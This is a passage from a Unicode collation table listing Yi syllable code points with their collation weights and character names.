YI SYLLABLE FAP -A0D5 ; [.3E94.0020.0002] # YI SYLLABLE FOX -A0D6 ; [.3E95.0020.0002] # YI SYLLABLE FO -A0D7 ; [.3E96.0020.0002] # YI SYLLABLE FOP -A0D8 ; [.3E97.0020.0002] # YI SYLLABLE FUT -A0D9 ; [.3E98.0020.0002] # YI SYLLABLE FUX -A0DA ; [.3E99.0020.0002] # YI SYLLABLE FU -A0DB ; [.3E9A.0020.0002] # YI SYLLABLE FUP -A0DC ; [.3E9B.0020.0002] # YI SYLLABLE FURX -A0DD ; [.3E9C.0020.0002] # YI SYLLABLE FUR -A0DE ; [.3E9D.0020.0002] # YI SYLLABLE FYT -A0DF ; [.3E9E.0020.0002] # YI SYLLABLE FYX -A0E0 ; [.3E9F.0020.0002] # YI SYLLABLE FY -A0E1 ; [.3EA0.0020.0002] # YI SYLLABLE FYP -A0E2 ; [.3EA1.0020.0002] # YI SYLLABLE VIT -A0E3 ; [.3EA2.0020.0002] # YI SYLLABLE VIX -A0E4 ; [.3EA3.0020.0002] # YI SYLLABLE VI -A0E5 ; [.3EA4.0020.0002] # YI SYLLABLE VIP -A0E6 ; [.3EA5.0020.0002] # YI SYLLABLE VIET -A0E7 ; [.3EA6.0020.0002] # YI SYLLABLE VIEX -A0E8 ; [.3EA7.0020.0002] # YI SYLLABLE VIE -A0E9 ; [.3EA8.0020.0002] # YI SYLLABLE VIEP -A0EA ; [.3EA9.0020.0002] # YI SYLLABLE VAT -A0EB ; [.3EAA.0020.0002] # YI SYLLABLE VAX -A0EC ; [.3EAB.0020.0002] # YI SYLLABLE VA -A0ED ; [.3EAC.0020.0002] # YI SYLLABLE VAP -A0EE ; [.3EAD.0020.0002] # YI SYLLABLE VOT -A0EF ; [.3EAE.0020.0002] # YI SYLLABLE VOX -A0F0 ; [.3EAF.0020.0002] # YI SYLLABLE VO -A0F1 ; [.3EB0.0020.0002] # YI SYLLABLE VOP -A0F2 ; [.3EB1.0020.0002] # YI SYLLABLE VEX -A0F3 ; [.3EB2.0020.0002] # YI SYLLABLE VEP -A0F4 ; [.3EB3.0020.0002] # YI SYLLABLE VUT -A0F5 ; [.3EB4.0020.0002] # YI SYLLABLE VUX -A0F6 ; [.3EB5.0020.0002] # YI SYLLABLE VU -A0F7 ; [.3EB6.0020.0002] # YI SYLLABLE VUP -A0F8 ; [.3EB7.0020.0002] # YI SYLLABLE VURX -A0F9 ; [.3EB8.0020.0002] # YI SYLLABLE VUR -A0FA ; [.3EB9.0020.0002] # YI SYLLABLE VYT -A0FB ; [.3EBA.0020.0002] # YI SYLLABLE VYX -A0FC ; [.3EBB.0020.0002] # YI SYLLABLE VY -A0FD ; [.3EBC.0020.0002] # YI SYLLABLE VYP -A0FE ; [.3EBD.0020.0002] # YI SYLLABLE VYRX -A0FF ; [.3EBE.0020.0002] # YI SYLLABLE VYR -A100 ; [.3EBF.0020.0002] # YI SYLLABLE DIT -A101 ; [.3EC0.0020.0002] # YI SYLLABLE DIX -A102 ; [.3EC1.0020.0002] # YI SYLLABLE DI -A103 ; [.3EC2.0020.0002] # YI SYLLABLE DIP -A104 ; [.3EC3.0020.0002] # YI SYLLABLE DIEX -A105 ; [.3EC4.0020.0002] # YI SYLLABLE DIE -A106 ; [.3EC5.0020.0002] # YI SYLLABLE DIEP -A107 ; [.3EC6.0020.0002] # YI SYLLABLE DAT -A108 ; [.3EC7.0020.0002] # YI SYLLABLE DAX -A109 ; [.3EC8.0020.0002] # YI SYLLABLE DA -A10A ; [.3EC9.0020.0002] # YI SYLLABLE DAP -A10B ; [.3ECA.0020.0002] # YI SYLLABLE DUOX -A10C ; [.3ECB.0020.0002] # YI SYLLABLE DUO -A10D ; [.3ECC.0020.0002] # YI SYLLABLE DOT -A10E ; [.3ECD.0020.0002] # YI SYLLABLE DOX -A10F ; [.3ECE.0020.0002] # YI SYLLABLE DO -A110 ; [.3ECF.0020.0002] # YI SYLLABLE DOP -A111 ; [.3ED0.0020.0002] # YI SYLLABLE DEX -A112 ; [.3ED1.0020.0002] # YI SYLLABLE DE -A113 ; [.3ED2.0020.0002] # YI SYLLABLE DEP -A114 ; [.3ED3.0020.0002] # YI SYLLABLE DUT -A115 ; [.3ED4.0020.0002] # YI SYLLABLE DUX -A116 ; [.3ED5.0020.0002] # YI SYLLABLE DU -A117 ; [.3ED6.0020.0002] # YI SYLLABLE DUP -A118 ; [.3ED7.0020.0002] # YI SYLLABLE DURX -A119 ; [.3ED8.0020.0002] # YI SYLLABLE DUR -A11A ; [.3ED9.0020.0002] # YI SYLLABLE TIT -A11B ; [.3EDA.0020.0002] # YI SYLLABLE TIX -A11C ; [.3EDB.0020.0002] # YI SYLLABLE TI -A11D ; [.3EDC.0020.0002] # YI SYLLABLE TIP -A11E ; [.3EDD.0020.0002] # YI SYLLABLE TIEX -A11F ; [.3EDE.0020.0002] # YI SYLLABLE TIE -A120 ; [.3EDF.0020.0002] # YI SYLLABLE TIEP -A121 ; [.3EE0.0020.0002] # YI SYLLABLE TAT -A122 ; [.3EE1.0020.0002] # YI SYLLABLE TAX -A123 ; [.3EE2.0020.0002] # YI SYLLABLE TA -A124 ; [.3EE3.0020.0002] # YI SYLLABLE TAP -A125 ; [.3EE4.0020.0002] # YI SYLLABLE TUOT -A126 ; [.3EE5.0020.0002] # YI SYLLABLE TUOX -A127 ; [.3EE6.0020.0002] # YI SYLLABLE TUO -A128 ; [.3EE7.0020.0002] # YI SYLLABLE TUOP -A129 ; [.3EE8.0020.0002] # YI SYLLABLE TOT -A12A ; [.3EE9.0020.0002] # YI SYLLABLE TOX -A12B ; [.3EEA.0020.0002] # YI SYLLABLE TO -A12C ; [.3EEB.0020.0002] # YI SYLLABLE TOP -A12D ; [.3EEC.0020.0002] # YI SYLLABLE TEX -A12E ; [.3EED.0020.0002] # YI SYLLABLE TE -A12F ; [.3EEE.0020.0002] # YI SYLLABLE TEP -A130 ; [.3EEF.0020.0002] # YI SYLLABLE TUT -A131 ; [.3EF0.0020.0002] # YI SYLLABLE TUX -A132 ; [.3EF1.0020.0002] # YI SYLLABLE TU -A133 ; [.3EF2.0020.0002] # YI SYLLABLE TUP -A134 ; [.3EF3.0020.0002] # YI SYLLABLE TURX -A135 ; [.3EF4.0020.0002] # YI SYLLABLE TUR -A136 ; [.3EF5.0020.0002] # YI SYLLABLE DDIT -A137 ; [.3EF6.0020.0002] # YI SYLLABLE DDIX -A138 ; [.3EF7.0020.0002] # YI SYLLABLE DDI -A139 ; [.3EF8.0020.0002] # YI SYLLABLE DDIP -A13A ; [.3EF9.0020.0002] # YI SYLLABLE DDIEX -A13B ; [.3EFA.0020.0002] # YI SYLLABLE DDIE -A13C ; [.3EFB.0020.0002] # YI SYLLABLE DDIEP -A13D ; [.3EFC.0020.0002] # YI SYLLABLE DDAT -A13E ; [.3EFD.0020.0002] # YI SYLLABLE DDAX -A13F ; [.3EFE.0020.0002] # YI SYLLABLE DDA -A140 ; [.3EFF.0020.0002] # YI SYLLABLE DDAP -A141 ; [.3F00.0020.0002] # YI SYLLABLE DDUOX -A142 ; [.3F01.0020.0002] # YI SYLLABLE DDUO -A143 ; [.3F02.0020.0002] # YI SYLLABLE DDUOP -A144 ; [.3F03.0020.0002] # YI SYLLABLE DDOT -A145 ; [.3F04.0020.0002] # YI SYLLABLE DDOX -A146 ; [.3F05.0020.0002] # YI SYLLABLE DDO -A147 ; [.3F06.0020.0002] # YI SYLLABLE DDOP -A148 ; [.3F07.0020.0002] # YI SYLLABLE DDEX -A149 ; [.3F08.0020.0002] # YI SYLLABLE DDE -A14A ; [.3F09.0020.0002] # YI SYLLABLE DDEP -A14B ; [.3F0A.0020.0002] # YI SYLLABLE DDUT -A14C ; [.3F0B.0020.0002] # YI SYLLABLE DDUX -A14D ; [.3F0C.0020.0002] # YI SYLLABLE DDU -A14E ; [.3F0D.0020.0002] # YI SYLLABLE DDUP -A14F ; [.3F0E.0020.0002] # YI SYLLABLE DDURX -A150 ; [.3F0F.0020.0002] # YI SYLLABLE DDUR -A151 ; [.3F10.0020.0002] # YI SYLLABLE NDIT -A152 ; [.3F11.0020.0002] # YI SYLLABLE NDIX -A153 ; [.3F12.0020.0002] # YI SYLLABLE NDI -A154 ; [.3F13.0020.0002] # YI SYLLABLE NDIP -A155 ; [.3F14.0020.0002] # YI SYLLABLE NDIEX -A156 ; [.3F15.0020.0002] # YI SYLLABLE NDIE -A157 ; [.3F16.0020.0002] # YI SYLLABLE NDAT -A158 ; [.3F17.0020.0002] # YI SYLLABLE NDAX -A159 ; [.3F18.0020.0002] # YI SYLLABLE NDA -A15A ; [.3F19.0020.0002] # YI SYLLABLE NDAP -A15B ; [.3F1A.0020.0002] # YI SYLLABLE NDOT -A15C ; [.3F1B.0020.0002] # YI SYLLABLE NDOX -A15D ; [.3F1C.0020.0002] # YI SYLLABLE NDO -A15E ; [.3F1D.0020.0002] # YI SYLLABLE NDOP -A15F ; [.3F1E.0020.0002] # YI SYLLABLE NDEX -A160 ; [.3F1F.0020.0002] # YI SYLLABLE NDE -A161 ; [.3F20.0020.0002] # YI SYLLABLE NDEP -A162 ; [.3F21.0020.0002] # YI SYLLABLE NDUT -A163 ; [.3F22.0020.0002] # YI SYLLABLE NDUX -A164 ; [.3F23.0020.0002] # YI SYLLABLE NDU -A165 ; [.3F24.0020.0002] # YI SYLLABLE NDUP -A166 ; [.3F25.0020.0002] # YI SYLLABLE NDURX -A167 ; [.3F26.0020.0002] # YI SYLLABLE NDUR -A168 ; [.3F27.0020.0002] # YI SYLLABLE HNIT -A169 ; [.3F28.0020.0002] # YI SYLLABLE HNIX -A16A ; [.3F29.0020.0002] # YI SYLLABLE HNI -A16B ; [.3F2A.0020.0002] # YI SYLLABLE HNIP -A16C ; [.3F2B.0020.0002] # YI SYLLABLE HNIET -A16D ; [.3F2C.0020.0002] # YI SYLLABLE HNIEX -A16E ; [.3F2D.0020.0002] # YI SYLLABLE HNIE -A16F ; [.3F2E.0020.0002] # YI SYLLABLE HNIEP -A170 ; [.3F2F.0020.0002] # YI SYLLABLE HNAT -A171 ; [.3F30.0020.0002] # YI SYLLABLE HNAX -A172 ; [.3F31.0020.0002] # YI SYLLABLE HNA -A173 ; [.3F32.0020.0002] # YI SYLLABLE HNAP -A174 ; [.3F33.0020.0002] # YI SYLLABLE HNUOX -A175 ; [.3F34.0020.0002] # YI SYLLABLE HNUO -A176 ; [.3F35.0020.0002] # YI SYLLABLE HNOT -A177 ; [.3F36.0020.0002] # YI SYLLABLE HNOX -A178 ; [.3F37.0020.0002] # YI SYLLABLE HNOP -A179 ; [.3F38.0020.0002] # YI SYLLABLE HNEX -A17A ; [.3F39.0020.0002] # YI SYLLABLE HNE -A17B ; [.3F3A.0020.0002] # YI SYLLABLE HNEP -A17C ; [.3F3B.0020.0002] # YI SYLLABLE HNUT -A17D ; [.3F3C.0020.0002] # YI SYLLABLE NIT -A17E ; [.3F3D.0020.0002] # YI SYLLABLE NIX -A17F ; [.3F3E.0020.0002] # YI SYLLABLE NI -A180 ; [.3F3F.0020.0002] # YI SYLLABLE NIP -A181 ; [.3F40.0020.0002] # YI SYLLABLE NIEX -A182 ; [.3F41.0020.0002] # YI SYLLABLE NIE -A183 ; [.3F42.0020.0002] # YI SYLLABLE NIEP -A184 ; [.3F43.0020.0002] # YI SYLLABLE NAX -A185 ; [.3F44.0020.0002] # YI SYLLABLE NA -A186 ; [.3F45.0020.0002] # YI SYLLABLE NAP -A187 ; [.3F46.0020.0002] # YI SYLLABLE NUOX -A188 ; [.3F47.0020.0002] # YI SYLLABLE NUO -A189 ; [.3F48.0020.0002] # YI SYLLABLE NUOP -A18A ; [.3F49.0020.0002] # YI SYLLABLE NOT -A18B ; [.3F4A.0020.0002] # YI SYLLABLE NOX -A18C ; [.3F4B.0020.0002] # YI SYLLABLE NO -A18D ; [.3F4C.0020.0002] # YI SYLLABLE NOP -A18E ; [.3F4D.0020.0002] # YI SYLLABLE NEX -A18F ; [.3F4E.0020.0002] # YI SYLLABLE NE -A190 ; [.3F4F.0020.0002] # YI SYLLABLE NEP -A191 ; [.3F50.0020.0002] # YI SYLLABLE NUT -A192 ; [.3F51.0020.0002] # YI SYLLABLE NUX -A193 ; [.3F52.0020.0002] # YI SYLLABLE NU -A194 ; [.3F53.0020.0002] # YI SYLLABLE NUP -A195 ; [.3F54.0020.0002] # YI SYLLABLE NURX -A196 ; [.3F55.0020.0002] # YI SYLLABLE NUR -A197 ; [.3F56.0020.0002] # YI SYLLABLE HLIT -A198 ; [.3F57.0020.0002] # YI SYLLABLE HLIX -A199 ; [.3F58.0020.0002] # YI SYLLABLE HLI -A19A ; [.3F59.0020.0002] # YI SYLLABLE HLIP -A19B ; [.3F5A.0020.0002] # YI SYLLABLE HLIEX -A19C ; [.3F5B.0020.0002] # YI SYLLABLE HLIE -A19D ; [.3F5C.0020.0002] # YI SYLLABLE HLIEP -A19E ; [.3F5D.0020.0002] # YI SYLLABLE HLAT -A19F ; [.3F5E.0020.0002] # YI SYLLABLE HLAX -A1A0 ; [.3F5F.0020.0002] # YI SYLLABLE HLA -A1A1 ; [.3F60.0020.0002] # YI SYLLABLE HLAP -A1A2 ; [.3F61.0020.0002] # YI SYLLABLE HLUOX -A1A3 ; [.3F62.0020.0002] # YI SYLLABLE HLUO -A1A4 ; [.3F63.0020.0002] # YI SYLLABLE HLUOP -A1A5 ; [.3F64.0020.0002] # YI SYLLABLE HLOX -A1A6 ; [.3F65.0020.0002] # YI SYLLABLE HLO -A1A7 ; [.3F66.0020.0002] # YI SYLLABLE HLOP -A1A8 ; [.3F67.0020.0002] # YI SYLLABLE HLEX -A1A9 ; [.3F68.0020.0002] # YI SYLLABLE HLE -A1AA ; [.3F69.0020.0002] # YI SYLLABLE HLEP -A1AB ; [.3F6A.0020.0002] # YI SYLLABLE HLUT -A1AC ; [.3F6B.0020.0002] # YI SYLLABLE HLUX -A1AD ; [.3F6C.0020.0002] # YI SYLLABLE HLU -A1AE ; [.3F6D.0020.0002] # YI SYLLABLE HLUP -A1AF ; [.3F6E.0020.0002] # YI SYLLABLE HLURX -A1B0 ; [.3F6F.0020.0002] # YI SYLLABLE HLUR -A1B1 ; [.3F70.0020.0002] # YI SYLLABLE HLYT -A1B2 ; [.3F71.0020.0002] # YI SYLLABLE HLYX -A1B3 ; [.3F72.0020.0002] # YI SYLLABLE HLY -A1B4 ; [.3F73.0020.0002] # YI SYLLABLE HLYP -A1B5 ; [.3F74.0020.0002] # YI SYLLABLE HLYRX -A1B6 ; [.3F75.0020.0002] # YI SYLLABLE HLYR -A1B7 ; [.3F76.0020.0002] # YI SYLLABLE LIT -A1B8 ; [.3F77.0020.0002] # YI SYLLABLE LIX -A1B9 ; [.3F78.0020.0002] # YI SYLLABLE LI -A1BA ; [.3F79.0020.0002] # YI SYLLABLE LIP -A1BB ; [.3F7A.0020.0002] # YI SYLLABLE LIET -A1BC ; [.3F7B.0020.0002] # YI SYLLABLE LIEX -A1BD ; [.3F7C.0020.0002] # YI SYLLABLE LIE -A1BE ; [.3F7D.0020.0002] # YI SYLLABLE LIEP -A1BF ; [.3F7E.0020.0002] # YI SYLLABLE LAT -A1C0 ; [.3F7F.0020.0002] # YI SYLLABLE LAX -A1C1 ; [.3F80.0020.0002] # YI SYLLABLE LA -A1C2 ; [.3F81.0020.0002] # YI SYLLABLE LAP -A1C3 ; [.3F82.0020.0002] # YI SYLLABLE LUOT -A1C4 ; [.3F83.0020.0002] # YI SYLLABLE LUOX -A1C5 ; [.3F84.0020.0002] # YI SYLLABLE LUO -A1C6 ; [.3F85.0020.0002] # YI SYLLABLE LUOP -A1C7 ; [.3F86.0020.0002] # YI SYLLABLE LOT -A1C8 ; [.3F87.0020.0002] # YI SYLLABLE LOX -A1C9 ; [.3F88.0020.0002] # YI SYLLABLE LO -A1CA ; [.3F89.0020.0002] # YI SYLLABLE LOP -A1CB ; [.3F8A.0020.0002] # YI SYLLABLE LEX -A1CC ; [.3F8B.0020.0002] # YI SYLLABLE LE -A1CD ; [.3F8C.0020.0002] # YI SYLLABLE LEP -A1CE ; [.3F8D.0020.0002] # YI SYLLABLE LUT -A1CF ; [.3F8E.0020.0002] # YI SYLLABLE LUX -A1D0 ; [.3F8F.0020.0002] # YI SYLLABLE LU -A1D1 ; [.3F90.0020.0002] # YI SYLLABLE LUP -A1D2 ; [.3F91.0020.0002] # YI SYLLABLE LURX -A1D3 ; [.3F92.0020.0002] # YI SYLLABLE LUR -A1D4 ; [.3F93.0020.0002] # YI SYLLABLE LYT -A1D5 ; [.3F94.0020.0002] # YI SYLLABLE LYX -A1D6 ; [.3F95.0020.0002] # YI SYLLABLE LY -A1D7 ; [.3F96.0020.0002] # YI SYLLABLE LYP -A1D8 ; [.3F97.0020.0002] # YI SYLLABLE LYRX -A1D9 ; [.3F98.0020.0002] # YI SYLLABLE LYR -A1DA ; [.3F99.0020.0002] # YI SYLLABLE GIT -A1DB ; [.3F9A.0020.0002] # YI SYLLABLE GIX -A1DC ; [.3F9B.0020.0002] # YI SYLLABLE GI -A1DD ; [.3F9C.0020.0002] # YI SYLLABLE GIP -A1DE ; [.3F9D.0020.0002] # YI SYLLABLE GIET -A1DF ; [.3F9E.0020.0002] # YI SYLLABLE GIEX -A1E0 ; [.3F9F.0020.0002] # YI SYLLABLE GIE -A1E1 ; [.3FA0.0020.0002] # YI SYLLABLE GIEP -A1E2 ; [.3FA1.0020.0002] # YI SYLLABLE GAT -A1E3 ; [.3FA2.0020.0002] # YI SYLLABLE GAX -A1E4 ; [.3FA3.0020.0002] # YI SYLLABLE GA -A1E5 ; [.3FA4.0020.0002] # YI SYLLABLE GAP -A1E6 ; [.3FA5.0020.0002] # YI SYLLABLE GUOT -A1E7 ; [.3FA6.0020.0002] # YI SYLLABLE GUOX -A1E8 ; [.3FA7.0020.0002] # YI SYLLABLE GUO -A1E9 ; [.3FA8.0020.0002] # YI SYLLABLE GUOP -A1EA ; [.3FA9.0020.0002] # YI SYLLABLE GOT -A1EB ; [.3FAA.0020.0002] # YI SYLLABLE GOX -A1EC ; [.3FAB.0020.0002] # YI SYLLABLE GO -A1ED ; [.3FAC.0020.0002] # YI SYLLABLE GOP -A1EE ; [.3FAD.0020.0002] # YI SYLLABLE GET -A1EF ; [.3FAE.0020.0002] # YI SYLLABLE GEX -A1F0 ; [.3FAF.0020.0002] # YI SYLLABLE GE -A1F1 ; [.3FB0.0020.0002] # YI SYLLABLE GEP -A1F2 ; [.3FB1.0020.0002] # YI SYLLABLE GUT -A1F3 ; [.3FB2.0020.0002] # YI SYLLABLE GUX -A1F4 ; [.3FB3.0020.0002] # YI SYLLABLE GU -A1F5 ; [.3FB4.0020.0002] # YI SYLLABLE GUP -A1F6 ; [.3FB5.0020.0002] # YI SYLLABLE GURX -A1F7 ; [.3FB6.0020.0002] # YI SYLLABLE GUR -A1F8 ; [.3FB7.0020.0002] # YI SYLLABLE KIT -A1F9 ; [.3FB8.0020.0002] # YI SYLLABLE KIX -A1FA ; [.3FB9.0020.0002] # YI SYLLABLE KI -A1FB ; [.3FBA.0020.0002] # YI SYLLABLE KIP -A1FC ; [.3FBB.0020.0002] # YI SYLLABLE KIEX -A1FD ; [.3FBC.0020.0002] # YI SYLLABLE KIE -A1FE ; [.3FBD.0020.0002] # YI SYLLABLE KIEP -A1FF ; [.3FBE.0020.0002] # YI SYLLABLE KAT -A200 ; [.3FBF.0020.0002] # YI SYLLABLE KAX -A201 ; [.3FC0.0020.0002] # YI SYLLABLE KA -A202 ; [.3FC1.0020.0002] # YI SYLLABLE KAP -A203 ; [.3FC2.0020.0002] # YI SYLLABLE KUOX -A204 ; [.3FC3.0020.0002] # YI SYLLABLE KUO -A205 ; [.3FC4.0020.0002] # YI SYLLABLE KUOP -A206 ; [.3FC5.0020.0002] # YI SYLLABLE KOT -A207 ; [.3FC6.0020.0002] # YI SYLLABLE KOX -A208 ; [.3FC7.0020.0002] # YI SYLLABLE KO -A209 ; [.3FC8.0020.0002] # YI SYLLABLE KOP -A20A ; [.3FC9.0020.0002] # YI SYLLABLE KET -A20B ; [.3FCA.0020.0002] # YI SYLLABLE KEX -A20C ; [.3FCB.0020.0002] # YI SYLLABLE KE -A20D ; [.3FCC.0020.0002] # YI SYLLABLE KEP -A20E ; [.3FCD.0020.0002] # YI SYLLABLE KUT -A20F ; [.3FCE.0020.0002] # YI SYLLABLE KUX -A210 ; [.3FCF.0020.0002] # YI SYLLABLE KU -A211 ; [.3FD0.0020.0002] # YI SYLLABLE KUP -A212 ; [.3FD1.0020.0002] # YI SYLLABLE KURX -A213 ; [.3FD2.0020.0002] # YI SYLLABLE KUR -A214 ; [.3FD3.0020.0002] # YI SYLLABLE GGIT -A215 ; [.3FD4.0020.0002] # YI SYLLABLE GGIX -A216 ; [.3FD5.0020.0002] # YI SYLLABLE GGI -A217 ; [.3FD6.0020.0002] # YI SYLLABLE GGIEX -A218 ; [.3FD7.0020.0002] # YI SYLLABLE GGIE -A219 ; [.3FD8.0020.0002] # YI SYLLABLE GGIEP -A21A ; [.3FD9.0020.0002] # YI SYLLABLE GGAT -A21B ; [.3FDA.0020.0002] # YI SYLLABLE GGAX -A21C ; [.3FDB.0020.0002] # YI SYLLABLE GGA -A21D ; [.3FDC.0020.0002] # YI SYLLABLE GGAP -A21E ; [.3FDD.0020.0002] # YI SYLLABLE GGUOT -A21F ; [.3FDE.0020.0002] # YI SYLLABLE GGUOX -A220 ; [.3FDF.0020.0002] # YI SYLLABLE GGUO -A221 ; [.3FE0.0020.0002] # YI SYLLABLE GGUOP -A222 ; [.3FE1.0020.0002] # YI SYLLABLE GGOT -A223 ; [.3FE2.0020.0002] # YI SYLLABLE GGOX -A224 ; [.3FE3.0020.0002] # YI SYLLABLE GGO -A225 ; [.3FE4.0020.0002] # YI SYLLABLE GGOP -A226 ; [.3FE5.0020.0002] # YI SYLLABLE GGET -A227 ; [.3FE6.0020.0002] # YI SYLLABLE GGEX -A228 ; [.3FE7.0020.0002] # YI SYLLABLE GGE -A229 ; [.3FE8.0020.0002] # YI SYLLABLE GGEP -A22A ; [.3FE9.0020.0002] # YI SYLLABLE GGUT -A22B ; [.3FEA.0020.0002] # YI SYLLABLE GGUX -A22C ; [.3FEB.0020.0002] # YI SYLLABLE GGU -A22D ; [.3FEC.0020.0002] # YI SYLLABLE GGUP -A22E ; [.3FED.0020.0002] # YI SYLLABLE GGURX -A22F ; [.3FEE.0020.0002] # YI SYLLABLE GGUR -A230 ; [.3FEF.0020.0002] # YI SYLLABLE MGIEX -A231 ; [.3FF0.0020.0002] # YI SYLLABLE MGIE -A232 ; [.3FF1.0020.0002] # YI SYLLABLE MGAT -A233 ; [.3FF2.0020.0002] # YI SYLLABLE MGAX -A234 ; [.3FF3.0020.0002] # YI SYLLABLE MGA -A235 ; [.3FF4.0020.0002] # YI SYLLABLE MGAP -A236 ; [.3FF5.0020.0002] # YI SYLLABLE MGUOX -A237 ; [.3FF6.0020.0002] # YI SYLLABLE MGUO -A238 ; [.3FF7.0020.0002] # YI SYLLABLE MGUOP -A239 ; [.3FF8.0020.0002] # YI SYLLABLE MGOT -A23A ; [.3FF9.0020.0002] # YI SYLLABLE MGOX -A23B ; [.3FFA.0020.0002] # YI SYLLABLE MGO -A23C ; [.3FFB.0020.0002] # YI SYLLABLE MGOP -A23D ; [.3FFC.0020.0002] # YI SYLLABLE MGEX -A23E ; [.3FFD.0020.0002] # YI SYLLABLE MGE -A23F ; [.3FFE.0020.0002] # YI SYLLABLE MGEP -A240 ; [.3FFF.0020.0002] # YI SYLLABLE MGUT -A241 ; [.4000.0020.0002] # YI SYLLABLE MGUX -A242 ; [.4001.0020.0002] # YI SYLLABLE MGU -A243 ; [.4002.0020.0002] # YI SYLLABLE MGUP -A244 ; [.4003.0020.0002] # YI SYLLABLE MGURX -A245 ; [.4004.0020.0002] # YI SYLLABLE MGUR -A246 ; [.4005.0020.0002] # YI SYLLABLE HXIT -A247 ; [.4006.0020.0002] # YI SYLLABLE HXIX -A248 ; [.4007.0020.0002] # YI SYLLABLE HXI -A249 ; [.4008.0020.0002] # YI SYLLABLE HXIP -A24A ; [.4009.0020.0002] # YI SYLLABLE HXIET -A24B ; [.400A.0020.0002] # YI SYLLABLE HXIEX -A24C ; [.400B.0020.0002] # YI SYLLABLE HXIE -A24D ; [.400C.0020.0002] # YI SYLLABLE HXIEP -A24E ; [.400D.0020.0002] # YI SYLLABLE HXAT -A24F ; [.400E.0020.0002] # YI SYLLABLE HXAX -A250 ; [.400F.0020.0002] # YI SYLLABLE HXA -A251 ; [.4010.0020.0002] # YI SYLLABLE HXAP -A252 ; [.4011.0020.0002] # YI SYLLABLE HXUOT -A253 ; [.4012.0020.0002] # YI SYLLABLE HXUOX -A254 ; [.4013.0020.0002] # YI SYLLABLE HXUO -A255 ; [.4014.0020.0002] # YI SYLLABLE HXUOP -A256 ; [.4015.0020.0002] # YI SYLLABLE HXOT -A257 ; [.4016.0020.0002] # YI SYLLABLE HXOX -A258 ; [.4017.0020.0002] # YI SYLLABLE HXO -A259 ; [.4018.0020.0002] # YI SYLLABLE HXOP -A25A ; [.4019.0020.0002] # YI SYLLABLE HXEX -A25B ; [.401A.0020.0002] # YI SYLLABLE HXE -A25C ; [.401B.0020.0002] # YI SYLLABLE HXEP -A25D ; [.401C.0020.0002] # YI SYLLABLE NGIEX -A25E ; [.401D.0020.0002] # YI SYLLABLE NGIE -A25F ; [.401E.0020.0002] # YI SYLLABLE NGIEP -A260 ; [.401F.0020.0002] # YI SYLLABLE NGAT -A261 ; [.4020.0020.0002] # YI SYLLABLE NGAX -A262 ; [.4021.0020.0002] # YI SYLLABLE NGA -A263 ; [.4022.0020.0002] # YI SYLLABLE NGAP -A264 ; [.4023.0020.0002] # YI SYLLABLE NGUOT -A265 ; [.4024.0020.0002] # YI SYLLABLE NGUOX -A266 ; [.4025.0020.0002] # YI SYLLABLE NGUO -A267 ; [.4026.0020.0002] # YI SYLLABLE NGOT -A268 ; [.4027.0020.0002] # YI SYLLABLE NGOX -A269 ; [.4028.0020.0002] # YI SYLLABLE NGO -A26A ; [.4029.0020.0002] # YI SYLLABLE NGOP -A26B ; [.402A.0020.0002] # YI SYLLABLE NGEX -A26C ; [.402B.0020.0002] # YI SYLLABLE NGE -A26D ; [.402C.0020.0002] # YI SYLLABLE NGEP -A26E ; [.402D.0020.0002] # YI SYLLABLE HIT -A26F ; [.402E.0020.0002] # YI SYLLABLE HIEX -A270 ; [.402F.0020.0002] # YI SYLLABLE HIE -A271 ; [.4030.0020.0002] # YI SYLLABLE HAT -A272 ; [.4031.0020.0002] # YI SYLLABLE HAX -A273 ; [.4032.0020.0002] # YI SYLLABLE HA -A274 ; [.4033.0020.0002] # YI SYLLABLE HAP -A275 ; [.4034.0020.0002] # YI SYLLABLE HUOT -A276 ; [.4035.0020.0002] # YI SYLLABLE HUOX -A277 ; [.4036.0020.0002] # YI SYLLABLE HUO -A278 ; [.4037.0020.0002] # YI SYLLABLE HUOP -A279 ; [.4038.0020.0002] # YI SYLLABLE HOT -A27A ; [.4039.0020.0002] # YI SYLLABLE HOX -A27B ; [.403A.0020.0002] # YI SYLLABLE HO -A27C ; [.403B.0020.0002] # YI SYLLABLE HOP -A27D ; [.403C.0020.0002] # YI SYLLABLE HEX -A27E ; [.403D.0020.0002] # YI SYLLABLE HE -A27F ; [.403E.0020.0002] # YI SYLLABLE HEP -A280 ; [.403F.0020.0002] # YI SYLLABLE WAT -A281 ; [.4040.0020.0002] # YI SYLLABLE WAX -A282 ; [.4041.0020.0002] # YI SYLLABLE WA -A283 ; [.4042.0020.0002] # YI SYLLABLE WAP -A284 ; [.4043.0020.0002] # YI SYLLABLE WUOX -A285 ; [.4044.0020.0002] # YI SYLLABLE WUO -A286 ; [.4045.0020.0002] # YI SYLLABLE WUOP -A287 ; [.4046.0020.0002] # YI SYLLABLE WOX -A288 ; [.4047.0020.0002] # YI SYLLABLE WO -A289 ; [.4048.0020.0002] # YI SYLLABLE WOP -A28A ; [.4049.0020.0002] # YI SYLLABLE WEX -A28B ; [.404A.0020.0002] # YI SYLLABLE WE -A28C ; [.404B.0020.0002] # YI SYLLABLE WEP -A28D ; [.404C.0020.0002] # YI SYLLABLE ZIT -A28E ; [.404D.0020.0002] # YI SYLLABLE ZIX -A28F ; [.404E.0020.0002] # YI SYLLABLE ZI -A290 ; [.404F.0020.0002] # YI SYLLABLE ZIP -A291 ; [.4050.0020.0002] # YI SYLLABLE ZIEX -A292 ; [.4051.0020.0002] # YI SYLLABLE ZIE -A293 ; [.4052.0020.0002] # YI SYLLABLE ZIEP -A294 ; [.4053.0020.0002] # YI SYLLABLE ZAT -A295 ; [.4054.0020.0002] # YI SYLLABLE ZAX -A296 ; [.4055.0020.0002] # YI SYLLABLE ZA -A297 ; [.4056.0020.0002] # YI SYLLABLE ZAP -A298 ; [.4057.0020.0002] # YI SYLLABLE ZUOX -A299 ; [.4058.0020.0002] # YI SYLLABLE ZUO -A29A ; [.4059.0020.0002] # YI SYLLABLE ZUOP -A29B ; [.405A.0020.0002] # YI SYLLABLE ZOT -A29C ; [.405B.0020.0002] # YI SYLLABLE ZOX -A29D ; [.405C.0020.0002] # YI SYLLABLE ZO -A29E ; [.405D.0020.0002] # YI SYLLABLE ZOP -A29F ; [.405E.0020.0002] # YI SYLLABLE ZEX -A2A0 ; [.405F.0020.0002] # YI SYLLABLE ZE -A2A1 ; [.4060.0020.0002] # YI SYLLABLE ZEP -A2A2 ; [.4061.0020.0002] # YI SYLLABLE ZUT -A2A3 ; [.4062.0020.0002] # YI SYLLABLE ZUX -A2A4 ; [.4063.0020.0002] # YI SYLLABLE ZU -A2A5 ; 